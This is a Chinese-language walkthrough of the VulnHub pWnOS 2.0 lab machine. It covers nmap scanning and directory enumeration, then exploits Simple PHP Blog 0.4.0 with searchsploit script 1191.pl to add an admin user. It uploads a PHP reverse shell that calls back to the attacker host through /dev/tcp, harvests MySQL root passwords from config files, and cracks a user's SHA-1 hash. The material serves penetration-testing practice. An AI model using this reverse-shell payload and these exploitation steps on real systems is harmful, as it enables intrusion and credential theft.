文章目錄
- 靶機地址
- 主機發現、端口掃描
- web滲透
- 目錄探測
- 漏洞利用
- 權限提升
- 解密工具地址
- 總結
靶機地址
https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z
這里如果是windows系統直接使用vmware或者virtubox打開可以使用,如果是mac系統需再去做一個配置,比較麻煩
這里給一個參考地址:https://blog.csdn.net/qq_35664104/article/details/131757633
主機發現、端口掃描
han@Kali:~/RedTeam$ sudo arp-scan -l
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24
通過主機發現掃描到了主機的ip地址,進一步進行端口掃描以及下一步的利用:
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-掃描全端口,min-rate是掃描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104 #-sT是建立tcp掃描(全連接掃描) -A是全面掃描檢測包括版本號,操作系統,同時還會利用腳本掃描 -O 是探測操作系統類型 -p時端口號
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104 #-U參數是建立UDP掃描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104 #--script=vuln 使用腳本掃描用于常見的漏洞的探測
第一步掃描我們很清晰的看到有80端口和22端口
到這里我們可以清晰的看到,80端口給我們暴露的攻擊面比22端口多,這里我們吧22端口的優先級排后,使用80嘗試滲透
web滲透
目錄探測
這里介紹3個工具的探測,其實web目錄探測工具很多,根據自己的習慣來寫就好了
han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104
這里也只是根據我自己的一些習慣給到的一些參數,這里可以根據自己的需求,結合ai等來做一些具體的配置更好的配合我們來做滲透測試
這里同理,對blog目錄進行探測
http://192.168.100.104/blog/
http://192.168.100.104/blog/config
http://192.168.100.104/includes
http://192.168.100.104/index.php
http://192.168.100.104/login
漏洞利用
在這里嘗試使用sql inject 但是…
到此好像這一個利用手法沒有后續可以利用的點,所以這里準備換方法
這里我們看到了有blog的一個目錄,還有一個登陸框
這里也并沒有可利用的,這里想到blog目錄可能是一個cms,需要我們做一個信息收集
han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog
這里我們發現了是Simple PHP Blog 0.4.0 cms 所以這里可以嘗試從這里入手
han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0
這里看到了有一個rb 一個pl可以使用
使用search -m 1191.pl將其下載到本地
這里給我們提示,需要加入地址和參數e,我們嘗試構造
這里提到可以使用2來得到一個密碼文件的hash值 使用3能創建一個用戶密碼,所以這里使用3來創建用戶密碼嘗試看能不能使用login登陸框來登陸
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2
這里使用-h要加入url地址,并且使用/blog目錄,起初在這里嘗試了很多次都出現了問題,后來發現是必須使用/blog才能成功
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin
這里提示我們設置了admin用戶和admin密碼,這里嘗試使用登陸
這是好事,登陸成功了,這里我們看到是有一個上傳的接口,這也是好事!
han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php
由于這里是使用echo來輸入 ,所以需要使用轉義符號來
在 Shell 中使用 單引號 包裹整個 PHP 內容,此時內部的單引號需要通過 ‘’’ 轉義 轉義之后才是我們的‘
因為這里存在上傳點而且是php的環境,所以我們嘗試使用php代碼來執行反彈shell,這里還可以使用msf生成反彈shell上線msf,也可以使用webshell工具來執行,根據自己的需求,也根據環境的不同來選擇
針對上面命令做一個簡單的介紹:
<?php ?> 這里頭的代碼會被當作php語句而執行exec()函數是php中用于執行系統命令的函數
/bin/bash -c 通過-c參數來執行后續的字符串命令
bash -i >& /dev/tcp/… 我們熟悉的反彈shell命令
bash -i 啟動交互式的shell
/dev/tcp/是linux的特殊設備,用于建立TCP連接
>&是將標準輸出和標準的錯誤重定向到TCP連接
0>&1 將標準輸入重定向到標準輸出,形成雙向通信通道
上傳反彈即可
han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444
權限提升
這里可以看到已經得到shell,需要我們進一步進行提權了
非常好我們找到了一個有意義的文件
mysql連接的文件
root
goodday
這里就可以嘗試登陸,mysql或者是使用22端口ssh登陸,這里就是可以想到的思路
但是非常遺憾,這里都不能登陸,思路再次斷了
這里就只能做進一步的信息收集了
說來也巧,這里剛回退到上一個目錄,又發現了一個mysql的連接文件
還是root,但是密碼不同了
root
root@ISIntS
嘗試登陸
非常好,使用root@ISIntS 這個密碼直接登陸成功了,還是root權限
這里其實我想到,既然有數據庫連接文件,就應該是和數據庫有什么關系,所以這里就又進行了一些信息收集
但是這里卡著沒反應了
當時 的第一反應我以為是密碼錯了,可是后來一直卡著沒反應,沒辦法只好重新反彈,我突然想到會不會是終端不友好的問題,所以我嘗試使用了python來啟動一個交互好點的終端
這是好事,可以使用python起一個終端
www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'
這里和我們想的是一樣的
在數據庫中給你做一波信息收集
mysql> show databases;
mysql> use ch16;
mysql> select * from users;
這里得到了一個用戶Dan的密碼c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'
使用hash-identifier來識別一下hash值是哪種加密類型,方便我們去判斷如何解密
這里是sha-1加密類型,這里需要使用工具來嘗試了
解密工具地址
https://www.somd5.com/
成功得到密碼:killerbeesareflying
嘗試登陸ssh
很遺憾這里登錄不成功
看來這里就只有通過root直接登陸,而dan用戶沒有更多的后續了,那就到此為止了!
總結
整體來說,就是要有一個滲透測試思路,最重要的還是思路,需要我們多多重復多多練習才有思路,文章只做技術交流,希望對各位有幫助!